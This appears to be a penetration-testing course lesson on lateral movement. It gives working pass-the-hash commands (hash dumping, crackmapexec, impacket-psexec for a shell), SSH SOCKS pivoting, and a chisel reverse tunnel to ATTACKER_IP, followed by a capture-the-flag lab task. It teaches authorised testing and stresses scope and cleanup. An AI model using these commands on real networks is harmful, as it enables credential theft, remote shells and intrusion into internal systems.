Elective: Lateral Movement & Network Pivoting

Prerequisites

• PEN-K010: Exploitation & Privilege Escalation

Why This Lesson Matters

Lateral movement is what separates a finding on one host from a business-impacting compromise. When a real attacker gains a foothold on a workstation, their next step is to reach the domain controller, the finance server, or the backup system. This elective covers how that progression works — both for testing it and for understanding why network segmentation is the most effective countermeasure.

1. Pass-the-Hash

When you obtain an NTLM hash from a compromised Windows host, you can authenticate to other systems with that hash directly — no cracking required.

# Extract NTLM hashes from a compromised Windows host (Metasploit post module)
use post/windows/gather/smart_hashdump
set SESSION 1
run
# Output: Administrator:500:aad3b435...:8846f7eaee8fb117ad06bdd830b7586f:::

# Pass the hash to authenticate to another host
crackmapexec smb 10.0.0.0/24 -u Administrator 
  -H 8846f7eaee8fb117ad06bdd830b7586f --shares
# Finds all hosts where this hash is valid → scope of lateral movement confirmed

# Get a shell on a target
impacket-psexec [email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586f

2. Pivoting Through a Compromised Host

A compromised host that is dual-homed (connected to two networks) can be used as a pivot to reach an internal network that you cannot access directly.

[Tester] ──VPN──► [WS-042: 10.0.0.42] ──Internal──► [SRV-001: 192.168.1.1]
                   (compromised)                       (target)

2.1 SOCKS Proxy with SSH

# Set up a SOCKS5 proxy through the compromised host
ssh -D 9050 -N -f [email protected]   # -D = SOCKS proxy on local port 9050

# Route tools through the proxy
proxychains nmap -sT -p 22,80,443,445 192.168.1.0/24
proxychains curl http://192.168.1.1/

2.2 Chisel (Firewalled Targets)

When outbound SSH is blocked, chisel creates an HTTP-tunnelled reverse SOCKS proxy:

# On your attacking machine (server mode)
./chisel server -p 8080 --reverse

# On the compromised pivot host (client mode)
./chisel client ATTACKER_IP:8080 R:socks
# Creates SOCKS5 proxy on attacker:1080

# Route tools
proxychains curl http://192.168.1.1/

3. Common Mistakes

Mistake 1: Moving laterally without explicit scope authorisation. Your RoE covers specific in-scope targets. Discovering that a hash works on 10 other hosts does not authorise you to pivot to them. Document the capability and confirm scope with the client.

Mistake 2: Leaving SOCKS proxies running after the engagement. Every proxy you leave running is a backdoor. Document every pivot established and remove them all at engagement close.

4. Lab

Assessment mode: ctf

challenge_spec_id: 207 — Brute → pivot

Task: 1. Brute-force SSH on the external host 2. Pivot to the internal network via SOCKS proxy 3. Reach the internal web server at 192.168.1.1 4. Submit: PREFIX{flag_from_internal_server}

5. Framework Alignment

6. Further Reading

• CrackMapExec documentation — https://www.crackmapexec.wiki
• Chisel — https://github.com/jpillora/chisel — Lightweight HTTP tunnel
• HackTricks Pivoting — https://book.hacktricks.xyz/tunneling-and-port-forwarding

["Execute Pass-the-Hash with crackmapexec to identify valid targets across a subnet and obtain a shell on a second host using impacket-psexec", "Set up a SOCKS5 proxy through a compromised pivot host using SSH -D and route an Nmap scan through it to discover hosts on an internal subnet", "Use chisel in reverse SOCKS mode to reach an internal host through a firewalled pivot, confirm connectivity, and retrieve a flag from the internal target"]

Prerequisites → Why this matters → Pass-the-Hash (extraction, crackmapexec, psexec) → Pivoting (SOCKS via SSH -D, chisel reverse SOCKS) → Common mistakes → Lab (ctf, spec 207) → Framework alignment → Further reading